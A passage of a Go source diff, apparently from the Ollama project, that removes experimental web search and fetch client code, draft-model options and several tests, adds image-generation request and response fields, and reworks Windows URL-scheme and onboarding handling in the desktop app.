||||
}
|
||||
|
||||
if result.Think == nil {
|
||||
t.Fatal("expected think to be set")
|
||||
}
|
||||
|
||||
if got := result.Think.Value; got != false {
|
||||
t.Fatalf("expected think=false when thinking is disabled, got %v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFromMessagesRequest_ThinkingAdaptiveUsesOutputConfigEffort(t *testing.T) {
|
||||
req := MessagesRequest{
|
||||
Model: "gemma4",
|
||||
MaxTokens: 32000,
|
||||
Messages: []MessageParam{
|
||||
{
|
||||
Role: "user",
|
||||
Content: textContent("Describe the image."),
|
||||
},
|
||||
},
|
||||
Thinking: &ThinkingConfig{
|
||||
Type: "adaptive",
|
||||
},
|
||||
OutputConfig: &OutputConfig{
|
||||
Effort: "high",
|
||||
},
|
||||
}
|
||||
|
||||
result, err := FromMessagesRequest(req)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
|
||||
if result.Think == nil {
|
||||
t.Fatal("expected think to be set from output_config.effort")
|
||||
}
|
||||
|
||||
if got := result.Think.String(); got != "high" {
|
||||
t.Fatalf("expected think level 'high' for adaptive thinking, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFromMessagesRequest_WithTools(t *testing.T) {
|
||||
req := MessagesRequest{
|
||||
Model: "test-model",
|
||||
@@ -1141,56 +905,6 @@ func TestStreamConverter_ThinkingDirectlyFollowedByToolCall(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestStreamConverter_TextBeforeThinking(t *testing.T) {
|
||||
conv := NewStreamConverter("msg_123", "test-model", 0)
|
||||
|
||||
responses := []api.ChatResponse{
|
||||
{Message: api.Message{Role: "assistant", Content: "---\n"}},
|
||||
{Message: api.Message{Role: "assistant", Thinking: "Let me think."}},
|
||||
{
|
||||
Message: api.Message{Role: "assistant", Content: "The answer."},
|
||||
Done: true,
|
||||
DoneReason: "stop",
|
||||
Metrics: api.Metrics{PromptEvalCount: 10, EvalCount: 5},
|
||||
},
|
||||
}
|
||||
|
||||
var got []string
|
||||
for _, response := range responses {
|
||||
for _, event := range conv.Process(response) {
|
||||
switch data := event.Data.(type) {
|
||||
case ContentBlockStartEvent:
|
||||
got = append(got, fmt.Sprintf("%s:%s:%d", event.Event, data.ContentBlock.Type, data.Index))
|
||||
case ContentBlockDeltaEvent:
|
||||
got = append(got, fmt.Sprintf("%s:%s:%d", event.Event, data.Delta.Type, data.Index))
|
||||
case ContentBlockStopEvent:
|
||||
got = append(got, fmt.Sprintf("%s:%d", event.Event, data.Index))
|
||||
default:
|
||||
got = append(got, event.Event)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
want := []string{
|
||||
"message_start",
|
||||
"content_block_start:text:0",
|
||||
"content_block_delta:text_delta:0",
|
||||
"content_block_stop:0",
|
||||
"content_block_start:thinking:1",
|
||||
"content_block_delta:thinking_delta:1",
|
||||
"content_block_stop:1",
|
||||
"content_block_start:text:2",
|
||||
"content_block_delta:text_delta:2",
|
||||
"content_block_stop:2",
|
||||
"message_delta",
|
||||
"message_stop",
|
||||
}
|
||||
|
||||
if diff := cmp.Diff(want, got); diff != "" {
|
||||
t.Fatalf("unexpected stream events (-want +got):\n%s", diff)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStreamConverter_ToolCallWithUnmarshalableArgs(t *testing.T) {
|
||||
// Test that unmarshalable arguments (like channels) are handled gracefully
|
||||
// and don't cause a panic or corrupt stream
|
||||
@@ -1546,7 +1260,7 @@ func TestEstimateTokens_SimpleMessage(t *testing.T) {
|
||||
},
|
||||
}
|
||||
|
||||
tokens := EstimateCountTokens(req)
|
||||
tokens := estimateTokens(req)
|
||||
|
||||
// "user" (4) + "Hello, world!" (13) = 17 chars / 4 = 4 tokens
|
||||
if tokens < 1 {
|
||||
@@ -1567,7 +1281,7 @@ func TestEstimateTokens_WithSystemPrompt(t *testing.T) {
|
||||
},
|
||||
}
|
||||
|
||||
tokens := EstimateCountTokens(req)
|
||||
tokens := estimateTokens(req)
|
||||
|
||||
// System prompt adds to count
|
||||
if tokens < 5 {
|
||||
@@ -1590,7 +1304,7 @@ func TestEstimateTokens_WithTools(t *testing.T) {
|
||||
},
|
||||
}
|
||||
|
||||
tokens := EstimateCountTokens(req)
|
||||
tokens := estimateTokens(req)
|
||||
|
||||
// Tools add significant content
|
||||
if tokens < 10 {
|
||||
@@ -1619,7 +1333,7 @@ func TestEstimateTokens_WithThinking(t *testing.T) {
|
||||
},
|
||||
}
|
||||
|
||||
tokens := EstimateCountTokens(req)
|
||||
tokens := estimateTokens(req)
|
||||
|
||||
// Thinking content should be counted
|
||||
if tokens < 10 {
|
||||
@@ -1633,7 +1347,7 @@ func TestEstimateTokens_EmptyContent(t *testing.T) {
|
||||
Messages: []MessageParam{},
|
||||
}
|
||||
|
||||
tokens := EstimateCountTokens(req)
|
||||
tokens := estimateTokens(req)
|
||||
|
||||
if tokens != 0 {
|
||||
t.Errorf("expected 0 tokens for empty content, got %d", tokens)
|
||||
|
||||
@@ -259,10 +259,6 @@ func (c *Client) stream(ctx context.Context, method, path string, data any, fn f
|
||||
}
|
||||
}
|
||||
|
||||
if err := scanner.Err(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -473,26 +469,6 @@ func (c *Client) CloudStatusExperimental(ctx context.Context) (*StatusResponse,
|
||||
return &status, nil
|
||||
}
|
||||
|
||||
// WebSearchExperimental searches the web through the local server's
|
||||
// experimental web search endpoint.
|
||||
func (c *Client) WebSearchExperimental(ctx context.Context, req *WebSearchRequest) (*WebSearchResponse, error) {
|
||||
var resp WebSearchResponse
|
||||
if err := c.do(ctx, http.MethodPost, "/api/experimental/web_search", req, &resp); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &resp, nil
|
||||
}
|
||||
|
||||
// WebFetchExperimental fetches web page content through the local server's
|
||||
// experimental web fetch endpoint.
|
||||
func (c *Client) WebFetchExperimental(ctx context.Context, req *WebFetchRequest) (*WebFetchResponse, error) {
|
||||
var resp WebFetchResponse
|
||||
if err := c.do(ctx, http.MethodPost, "/api/experimental/web_fetch", req, &resp); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &resp, nil
|
||||
}
|
||||
|
||||
// Signout will signout a client for a local ollama server.
|
||||
func (c *Client) Signout(ctx context.Context) error {
|
||||
return c.do(ctx, http.MethodPost, "/api/signout", nil, nil)
|
||||
|
||||
@@ -2,9 +2,7 @@ package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/url"
|
||||
@@ -194,35 +192,6 @@ func TestClientStream(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestClientStreamReportsReadErrors(t *testing.T) {
|
||||
client := NewClient(
|
||||
&url.URL{Scheme: "http", Host: "example.com"},
|
||||
&http.Client{Transport: roundTripFunc(func(*http.Request) (*http.Response, error) {
|
||||
body := failingReader{
|
||||
data: []byte(`{"message":{"content":"partial"}}` + "\n"),
|
||||
err: io.ErrUnexpectedEOF,
|
||||
}
|
||||
|
||||
return &http.Response{
|
||||
StatusCode: http.StatusOK,
|
||||
Status: "200 OK",
|
||||
Body: io.NopCloser(&body),
|
||||
Header: make(http.Header),
|
||||
}, nil
|
||||
})},
|
||||
)
|
||||
|
||||
err := client.stream(t.Context(), http.MethodPost, "/api/chat", nil, func([]byte) error {
|
||||
return nil
|
||||
})
|
||||
if err == nil {
|
||||
t.Fatal("expected stream read error")
|
||||
}
|
||||
if !strings.Contains(err.Error(), io.ErrUnexpectedEOF.Error()) {
|
||||
t.Fatalf("expected unexpected EOF, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestClientDo(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
@@ -351,157 +320,3 @@ func TestClientDo(t *testing.T) {
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestClientWebSearchExperimentalUsesLocalRoute(t *testing.T) {
|
||||
var gotPath string
|
||||
var gotMethod string
|
||||
var gotRequest WebSearchRequest
|
||||
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
gotPath = r.URL.Path
|
||||
gotMethod = r.Method
|
||||
if err := json.NewDecoder(r.Body).Decode(&gotRequest); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := json.NewEncoder(w).Encode(WebSearchResponse{
|
||||
Results: []WebSearchResult{{Title: "Ollama", URL: "https://ollama.com", Content: "models"}},
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}))
|
||||
defer ts.Close()
|
||||
|
||||
client := NewClient(&url.URL{Scheme: "http", Host: ts.Listener.Addr().String()}, http.DefaultClient)
|
||||
resp, err := client.WebSearchExperimental(t.Context(), &WebSearchRequest{Query: "ollama", MaxResults: 3})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if gotMethod != http.MethodPost {
|
||||
t.Fatalf("method = %q, want POST", gotMethod)
|
||||
}
|
||||
if gotPath != "/api/experimental/web_search" {
|
||||
t.Fatalf("path = %q, want /api/experimental/web_search", gotPath)
|
||||
}
|
||||
if gotRequest.Query != "ollama" || gotRequest.MaxResults != 3 {
|
||||
t.Fatalf("request = %#v", gotRequest)
|
||||
}
|
||||
if len(resp.Results) != 1 || resp.Results[0].Title != "Ollama" {
|
||||
t.Fatalf("response = %#v", resp)
|
||||
}
|
||||
}
|
||||
|
||||
func TestClientWebSearchExperimentalErrors(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
status int
|
||||
body string
|
||||
assertError func(*testing.T, error)
|
||||
}{
|
||||
{
|
||||
name: "unauthorized retains sign in URL",
|
||||
status: http.StatusUnauthorized,
|
||||
body: `{"error":"unauthorized","signin_url":"https://ollama.com/signin/example"}`,
|
||||
assertError: func(t *testing.T, err error) {
|
||||
t.Helper()
|
||||
var authErr AuthorizationError
|
||||
if !errors.As(err, &authErr) {
|
||||
t.Fatalf("error = %T, want AuthorizationError", err)
|
||||
}
|
||||
if authErr.StatusCode != http.StatusUnauthorized || authErr.SigninURL != "https://ollama.com/signin/example" {
|
||||
t.Fatalf("authorization error = %#v", authErr)
|
||||
}
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "rate limit retains status",
|
||||
status: http.StatusTooManyRequests,
|
||||
body: `{"error":"rate limit exceeded"}`,
|
||||
assertError: func(t *testing.T, err error) {
|
||||
t.Helper()
|
||||
var statusErr StatusError
|
||||
if !errors.As(err, &statusErr) {
|
||||
t.Fatalf("error = %T, want StatusError", err)
|
||||
}
|
||||
if statusErr.StatusCode != http.StatusTooManyRequests || statusErr.ErrorMessage != "rate limit exceeded" {
|
||||
t.Fatalf("status error = %#v", statusErr)
|
||||
}
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
w.WriteHeader(tt.status)
|
||||
_, _ = w.Write([]byte(tt.body))
|
||||
}))
|
||||
defer ts.Close()
|
||||
|
||||
client := NewClient(&url.URL{Scheme: "http", Host: ts.Listener.Addr().String()}, http.DefaultClient)
|
||||
_, err := client.WebSearchExperimental(t.Context(), &WebSearchRequest{Query: "ollama"})
|
||||
if err == nil {
|
||||
t.Fatal("expected error")
|
||||
}
|
||||
tt.assertError(t, err)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestClientWebFetchExperimentalUsesLocalRoute(t *testing.T) {
|
||||
var gotPath string
|
||||
var gotMethod string
|
||||
var gotRequest WebFetchRequest
|
||||
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
gotPath = r.URL.Path
|
||||
gotMethod = r.Method
|
||||
if err := json.NewDecoder(r.Body).Decode(&gotRequest); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := json.NewEncoder(w).Encode(WebFetchResponse{
|
||||
Title: "Ollama",
|
||||
Content: "models",
|
||||
Links: []string{"https://ollama.com/library"},
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}))
|
||||
defer ts.Close()
|
||||
|
||||
client := NewClient(&url.URL{Scheme: "http", Host: ts.Listener.Addr().String()}, http.DefaultClient)
|
||||
resp, err := client.WebFetchExperimental(t.Context(), &WebFetchRequest{URL: "https://ollama.com"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if gotMethod != http.MethodPost {
|
||||
t.Fatalf("method = %q, want POST", gotMethod)
|
||||
}
|
||||
if gotPath != "/api/experimental/web_fetch" {
|
||||
t.Fatalf("path = %q, want /api/experimental/web_fetch", gotPath)
|
||||
}
|
||||
if gotRequest.URL != "https://ollama.com" {
|
||||
t.Fatalf("request = %#v", gotRequest)
|
||||
}
|
||||
if resp.Title != "Ollama" || resp.Content != "models" {
|
||||
t.Fatalf("response = %#v", resp)
|
||||
}
|
||||
}
|
||||
|
||||
type roundTripFunc func(*http.Request) (*http.Response, error)
|
||||
|
||||
func (f roundTripFunc) RoundTrip(req *http.Request) (*http.Response, error) {
|
||||
return f(req)
|
||||
}
|
||||
|
||||
type failingReader struct {
|
||||
data []byte
|
||||
err error
|
||||
}
|
||||
|
||||
func (r *failingReader) Read(p []byte) (int, error) {
|
||||
if len(r.data) > 0 {
|
||||
n := copy(p, r.data)
|
||||
r.data = r.data[n:]
|
||||
return n, nil
|
||||
}
|
||||
return 0, r.err
|
||||
}
|
||||
@@ -127,6 +127,20 @@ type GenerateRequest struct {
|
||||
// each with an associated log probability. Only applies when Logprobs is true.
|
||||
// Valid values are 0-20. Default is 0 (only return the selected token's logprob).
|
||||
TopLogprobs int `json:"top_logprobs,omitempty"`
|
||||
|
||||
// Experimental: Image generation fields (may change or be removed)
|
||||
|
||||
// Width is the width of the generated image in pixels.
|
||||
// Only used for image generation models.
|
||||
Width int32 `json:"width,omitempty"`
|
||||
|
||||
// Height is the height of the generated image in pixels.
|
||||
// Only used for image generation models.
|
||||
Height int32 `json:"height,omitempty"`
|
||||
|
||||
// Steps is the number of diffusion steps for image generation.
|
||||
// Only used for image generation models.
|
||||
Steps int32 `json:"steps,omitempty"`
|
||||
}
|
||||
|
||||
// ChatRequest describes a request sent by [Client.Chat].
|
||||
@@ -586,13 +600,12 @@ type Options struct {
|
||||
|
||||
// Runner options which must be set when the model is loaded into memory
|
||||
type Runner struct {
|
||||
NumCtx int `json:"num_ctx,omitempty"`
|
||||
NumBatch int `json:"num_batch,omitempty"`
|
||||
NumGPU int `json:"num_gpu,omitempty"`
|
||||
MainGPU *int `json:"main_gpu,omitempty"`
|
||||
UseMMap *bool `json:"use_mmap,omitempty"`
|
||||
NumThread int `json:"num_thread,omitempty"`
|
||||
DraftNumPredict int `json:"draft_num_predict,omitempty"`
|
||||
NumCtx int `json:"num_ctx,omitempty"`
|
||||
NumBatch int `json:"num_batch,omitempty"`
|
||||
NumGPU int `json:"num_gpu,omitempty"`
|
||||
MainGPU int `json:"main_gpu,omitempty"`
|
||||
UseMMap *bool `json:"use_mmap,omitempty"`
|
||||
NumThread int `json:"num_thread,omitempty"`
|
||||
}
|
||||
|
||||
// EmbedRequest is the request passed to [Client.Embed].
|
||||
@@ -659,9 +672,6 @@ type CreateRequest struct {
|
||||
// Quantize is the quantization format for the model; leave blank to not change the quantization level.
|
||||
Quantize string `json:"quantize,omitempty"`
|
||||
|
||||
// DraftQuantize is the quantization format for the draft model.
|
||||
DraftQuantize string `json:"draft_quantize,omitempty"`
|
||||
|
||||
// From is the name of the model or file to use as the source.
|
||||
From string `json:"from,omitempty"`
|
||||
|
||||
@@ -671,9 +681,6 @@ type CreateRequest struct {
|
||||
// Files is a map of files include when creating the model.
|
||||
Files map[string]string `json:"files,omitempty"`
|
||||
|
||||
// DraftFiles is a map of draft model files to include when creating the model.
|
||||
DraftFiles map[string]string `json:"draft_files,omitempty"`
|
||||
|
||||
// Adapters is a map of LoRA adapters to include when creating the model.
|
||||
Adapters map[string]string `json:"adapters,omitempty"`
|
||||
|
||||
@@ -692,11 +699,8 @@ type CreateRequest struct {
|
||||
// Messages is a list of messages added to the model before chat and generation requests.
|
||||
Messages []Message `json:"messages,omitempty"`
|
||||
|
||||
// Renderer is the name of the renderer used when constructing a request to the model.
|
||||
Renderer string `json:"renderer,omitempty"`
|
||||
|
||||
// Parser is the name of the parser used to parse the output of the request.
|
||||
Parser string `json:"parser,omitempty"`
|
||||
Parser string `json:"parser,omitempty"`
|
||||
|
||||
// Requires is the minimum version of Ollama required by the model.
|
||||
Requires string `json:"requires,omitempty"`
|
||||
@@ -820,15 +824,14 @@ type ProcessResponse struct {
|
||||
|
||||
// ListModelResponse is a single model description in [ListResponse].
|
||||
type ListModelResponse struct {
|
||||
Name string `json:"name"`
|
||||
Model string `json:"model"`
|
||||
RemoteModel string `json:"remote_model,omitempty"`
|
||||
RemoteHost string `json:"remote_host,omitempty"`
|
||||
ModifiedAt time.Time `json:"modified_at"`
|
||||
Size int64 `json:"size"`
|
||||
Digest string `json:"digest"`
|
||||
Details ModelDetails `json:"details,omitempty"`
|
||||
Capabilities []model.Capability `json:"capabilities,omitempty"`
|
||||
Name string `json:"name"`
|
||||
Model string `json:"model"`
|
||||
RemoteModel string `json:"remote_model,omitempty"`
|
||||
RemoteHost string `json:"remote_host,omitempty"`
|
||||
ModifiedAt time.Time `json:"modified_at"`
|
||||
Size int64 `json:"size"`
|
||||
Digest string `json:"digest"`
|
||||
Details ModelDetails `json:"details,omitempty"`
|
||||
}
|
||||
|
||||
// ProcessModelResponse is a single model description in [ProcessResponse].
|
||||
@@ -857,36 +860,6 @@ type StatusResponse struct {
|
||||
Cloud CloudStatus `json:"cloud"`
|
||||
}
|
||||
|
||||
// WebSearchRequest is the request for [Client.WebSearchExperimental].
|
||||
type WebSearchRequest struct {
|
||||
Query string `json:"query"`
|
||||
MaxResults int `json:"max_results,omitempty"`
|
||||
}
|
||||
|
||||
// WebSearchResult is a single result from [Client.WebSearchExperimental].
|
||||
type WebSearchResult struct {
|
||||
Title string `json:"title"`
|
||||
URL string `json:"url"`
|
||||
Content string `json:"content"`
|
||||
}
|
||||
|
||||
// WebSearchResponse is the response from [Client.WebSearchExperimental].
|
||||
type WebSearchResponse struct {
|
||||
Results []WebSearchResult `json:"results"`
|
||||
}
|
||||
|
||||
// WebFetchRequest is the request for [Client.WebFetchExperimental].
|
||||
type WebFetchRequest struct {
|
||||
URL string `json:"url"`
|
||||
}
|
||||
|
||||
// WebFetchResponse is the response from [Client.WebFetchExperimental].
|
||||
type WebFetchResponse struct {
|
||||
Title string `json:"title"`
|
||||
Content string `json:"content"`
|
||||
Links []string `json:"links,omitempty"`
|
||||
}
|
||||
|
||||
// GenerateResponse is the response passed into [GenerateResponseFunc].
|
||||
type GenerateResponse struct {
|
||||
// Model is the model name that generated the response.
|
||||
@@ -927,6 +900,20 @@ type GenerateResponse struct {
|
||||
// Logprobs contains log probability information for the generated tokens,
|
||||
// if requested via the Logprobs parameter.
|
||||
Logprobs []Logprob `json:"logprobs,omitempty"`
|
||||
|
||||
// Experimental: Image generation fields (may change or be removed)
|
||||
|
||||
// Image contains a base64-encoded generated image.
|
||||
// Only present for image generation models.
|
||||
Image string `json:"image,omitempty"`
|
||||
|
||||
// Completed is the number of completed steps in image generation.
|
||||
// Only present for image generation models during streaming.
|
||||
Completed int64 `json:"completed,omitempty"`
|
||||
|
||||
// Total is the total number of steps for image generation.
|
||||
// Only present for image generation models during streaming.
|
||||
Total int64 `json:"total,omitempty"`
|
||||
}
|
||||
|
||||
// ModelDetails provides details about a model.
|
||||
@@ -937,8 +924,6 @@ type ModelDetails struct {
|
||||
Families []string `json:"families"`
|
||||
ParameterSize string `json:"parameter_size"`
|
||||
QuantizationLevel string `json:"quantization_level"`
|
||||
ContextLength int `json:"context_length,omitempty"`
|
||||
EmbeddingLength int `json:"embedding_length,omitempty"`
|
||||
}
|
||||
|
||||
// UserResponse provides information about a user.
|
||||
@@ -1061,25 +1046,14 @@ func (opts *Options) FromMap(m map[string]any) error {
|
||||
}
|
||||
field.Set(reflect.ValueOf(slice))
|
||||
case reflect.Pointer:
|
||||
switch field.Type().Elem().Kind() {
|
||||
case reflect.Bool:
|
||||
var b bool
|
||||
if field.Type() == reflect.TypeOf(&b) {
|
||||
val, ok := val.(bool)
|
||||
if !ok {
|
||||
return fmt.Errorf("option %q must be of type boolean", key)
|
||||
}
|
||||
field.Set(reflect.ValueOf(&val))
|
||||
case reflect.Int:
|
||||
var i int
|
||||
switch t := val.(type) {
|
||||
case int64:
|
||||
i = int(t)
|
||||
case float64:
|
||||
i = int(t)
|
||||
default:
|
||||
return fmt.Errorf("option %q must be of type integer", key)
|
||||
}
|
||||
field.Set(reflect.ValueOf(&i))
|
||||
default:
|
||||
} else {
|
||||
return fmt.Errorf("unknown type loading config params: %v %v", field.Kind(), field.Type())
|
||||
}
|
||||
default:
|
||||
@@ -1105,19 +1079,18 @@ func DefaultOptions() Options {
|
||||
TopP: 0.9,
|
||||
TypicalP: 1.0,
|
||||
RepeatLastN: 64,
|
||||
RepeatPenalty: 1.0,
|
||||
RepeatPenalty: 1.1,
|
||||
PresencePenalty: 0.0,
|
||||
FrequencyPenalty: 0.0,
|
||||
Seed: -1,
|
||||
|
||||
Runner: Runner{
|
||||
// options set when the model is loaded
|
||||
NumCtx: int(envconfig.ContextLength()),
|
||||
NumBatch: 512,
|
||||
NumGPU: -1, // -1 here indicates that NumGPU should be set dynamically
|
||||
NumThread: 0, // let the runtime decide
|
||||
DraftNumPredict: 4,
|
||||
UseMMap: nil,
|
||||
NumCtx: int(envconfig.ContextLength()),
|
||||
NumBatch: 512,
|
||||
NumGPU: -1, // -1 here indicates that NumGPU should be set dynamically
|
||||
NumThread: 0, // let the runtime decide
|
||||
UseMMap: nil,
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -1321,20 +1294,14 @@ func FormatParams(params map[string][]string) (map[string]any, error) {
|
||||
// TODO: only string slices are supported right now
|
||||
out[key] = vals
|
||||
case reflect.Pointer:
|
||||
switch field.Type().Elem().Kind() {
|
||||
case reflect.Bool:
|
||||
var b bool
|
||||
if field.Type() == reflect.TypeOf(&b) {
|
||||
boolVal, err := strconv.ParseBool(vals[0])
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("invalid bool value %s", vals)
|
||||
}
|
||||
out[key] = &boolVal
|
||||
case reflect.Int:
|
||||
intVal, err := strconv.ParseInt(vals[0], 10, 64)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("invalid int value %s", vals)
|
||||
}
|
||||
out[key] = intVal
|
||||
default:
|
||||
} else {
|
||||
return nil, fmt.Errorf("unknown type %s for %s", field.Kind(), key)
|
||||
}
|
||||
default:
|
||||
|
||||
@@ -20,10 +20,6 @@ func testPropsMap(m map[string]ToolProperty) *ToolPropertiesMap {
|
||||
return props
|
||||
}
|
||||
|
||||
func testIntPtr(v int) *int {
|
||||
return &v
|
||||
}
|
||||
|
||||
// testArgs creates ToolCallFunctionArguments from a map (convenience function for tests, order not preserved)
|
||||
func testArgs(m map[string]any) ToolCallFunctionArguments {
|
||||
args := NewToolCallFunctionArguments()
|
||||
@@ -172,47 +168,6 @@ func TestUseMmapParsingFromJSON(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestMainGPUParsingFromJSON(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
req string
|
||||
wantGPU *int
|
||||
}{
|
||||
{
|
||||
name: "Undefined",
|
||||
req: `{}`,
|
||||
},
|
||||
{
|
||||
name: "Zero",
|
||||
req: `{ "main_gpu": 0 }`,
|
||||
wantGPU: testIntPtr(0),
|
||||
},
|
||||
{
|
||||
name: "Nonzero",
|
||||
req: `{ "main_gpu": 1 }`,
|
||||
wantGPU: testIntPtr(1),
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
var oMap map[string]any
|
||||
err := json.Unmarshal([]byte(test.req), &oMap)
|
||||
require.NoError(t, err)
|
||||
|
||||
opts := DefaultOptions()
|
||||
err = opts.FromMap(oMap)
|
||||
require.NoError(t, err)
|
||||
|
||||
if test.wantGPU == nil {
|
||||
assert.Nil(t, opts.MainGPU)
|
||||
} else if assert.NotNil(t, opts.MainGPU) {
|
||||
assert.Equal(t, *test.wantGPU, *opts.MainGPU)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestUseMmapFormatParams(t *testing.T) {
|
||||
tr := true
|
||||
fa := false
|
||||
@@ -277,12 +232,6 @@ func TestUseMmapFormatParams(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestMainGPUFormatParams(t *testing.T) {
|
||||
resp, err := FormatParams(map[string][]string{"main_gpu": {"0"}})
|
||||
require.NoError(t, err)
|
||||
assert.Equal(t, int64(0), resp["main_gpu"])
|
||||
}
|
||||
|
||||
func TestMessage_UnmarshalJSON(t *testing.T) {
|
||||
tests := []struct {
|
||||
input string
|
||||
|
||||
@@ -146,10 +146,15 @@ func main() {
|
||||
// Do this after logging is set up so we can debug issues
|
||||
if runtime.GOOS == "windows" && urlSchemeRequest != "" {
|
||||
slog.Debug("checking for existing instance", "url", urlSchemeRequest)
|
||||
// This exits after forwarding the request when another instance is
|
||||
// running. First-instance requests are handled later by osRun, after the
|
||||
// Windows UI dependencies are initialized and from the primary thread.
|
||||
checkAndHandleExistingInstance(urlSchemeRequest)
|
||||
if checkAndHandleExistingInstance(urlSchemeRequest) {
|
||||
// The function will exit if it successfully sends to another instance
|
||||
// If we reach here, we're the first/only instance
|
||||
} else {
|
||||
// No existing instance found, handle the URL scheme in this instance
|
||||
go func() {
|
||||
handleURLSchemeInCurrentInstance(urlSchemeRequest)
|
||||
}()
|
||||
}
|
||||
}
|
||||
|
||||
// Detect if this is a first start after an upgrade, in
|
||||
@@ -200,12 +205,6 @@ func main() {
|
||||
uiServerPort = port
|
||||
|
||||
st := &store.Store{}
|
||||
if devMode {
|
||||
if dbPath := strings.TrimSpace(os.Getenv("OLLAMA_APP_DB_PATH")); dbPath != "" {
|
||||
st.DBPath = dbPath
|
||||
slog.Debug("using development app database", "path", dbPath)
|
||||
}
|
||||
}
|
||||
appStore = st
|
||||
|
||||
// Enable CORS in development mode
|
||||
@@ -325,11 +324,11 @@ func main() {
|
||||
quit()
|
||||
}()
|
||||
|
||||
if urlSchemeRequest != "" && runtime.GOOS != "windows" {
|
||||
if urlSchemeRequest != "" {
|
||||
go func() {
|
||||
handleURLSchemeInCurrentInstance(urlSchemeRequest)
|
||||
}()
|
||||
} else if urlSchemeRequest == "" {
|
||||
} else {
|
||||
slog.Debug("no URL scheme request to handle")
|
||||
}
|
||||
|
||||
@@ -344,13 +343,7 @@ func main() {
|
||||
}
|
||||
}()
|
||||
|
||||
settings, settingsErr := st.Settings()
|
||||
showOnboarding := shouldShowOnboarding(settings, settingsErr)
|
||||
if settingsErr != nil {
|
||||
slog.Error("failed to load onboarding state", "error", settingsErr)
|
||||
}
|
||||
|
||||
osRun(cancel, hasCompletedFirstRun, startHidden, showOnboarding, urlSchemeRequest)
|
||||
osRun(cancel, hasCompletedFirstRun, startHidden)
|
||||
|
||||
slog.Info("shutting down desktop server")
|
||||
if err := srv.Close(); err != nil {
|
||||
@@ -362,33 +355,6 @@ func main() {
|
||||
<-done
|
||||
}
|
||||
|
||||
func shouldShowOnboarding(settings store.Settings, err error) bool {
|
||||
return err != nil || settings.OnboardingVersion < store.CurrentOnboardingVersion
|
||||
}
|
||||
|
||||
func runInitialWindowsUI(
|
||||
startHidden bool,
|
||||
showOnboarding bool,
|
||||
urlSchemeRequest string,
|
||||
startHiddenFn func(),
|
||||
handleURLFn func(string),
|
||||
showUIFn func(string),
|
||||
) {
|
||||
if urlSchemeRequest != "" {
|
||||
handleURLFn(urlSchemeRequest)
|
||||
return
|
||||
}
|
||||
if startHidden {
|
||||
startHiddenFn()
|
||||
return
|
||||
}
|
||||
if showOnboarding {
|
||||
showUIFn("/")
|
||||
return
|
||||
}
|
||||
showUIFn("/connect")
|
||||
}
|
||||
|
||||
func startHiddenTasks() {
|
||||
// If an upgrade is ready and we're in hidden mode, perform it at startup.
|
||||
// If we're not in hidden mode, we want to start as fast as possible and not
|
||||
@@ -409,7 +375,7 @@ func startHiddenTasks() {
|
||||
return
|
||||
}
|
||||
|
||||
if err := updater.DoUpgradeAtStartup(); err != nil { //nolint:staticcheck,nolintlint // DoUpgradeAtStartup may always return non-nil on Windows
|
||||
if err := updater.DoUpgradeAtStartup(); err != nil {
|
||||
slog.Info("unable to perform upgrade at startup", "error", err)
|
||||
// Make sure the restart to upgrade menu shows so we can attempt an interactive upgrade to get authorization
|
||||
UpdateAvailable("")
|
||||
@@ -466,7 +432,7 @@ func checkUserLoggedIn(uiServerPort int) bool {
|
||||
func handleConnectURLScheme() {
|
||||
if checkUserLoggedIn(uiServerPort) {
|
||||
slog.Info("user is already logged in, opening app instead")
|
||||
openUI("/")
|
||||
showWindow(wv.webview.Window())
|
||||
return
|
||||
}
|
||||
|
||||
@@ -525,23 +491,17 @@ func parseURLScheme(urlSchemeRequest string) (isConnect bool, err error) {
|
||||
|
||||
// handleURLSchemeInCurrentInstance processes URL scheme requests in the current instance
|
||||
func handleURLSchemeInCurrentInstance(urlSchemeRequest string) {
|
||||
err := dispatchURLSchemeRequest(urlSchemeRequest, handleConnectURLScheme, func() {
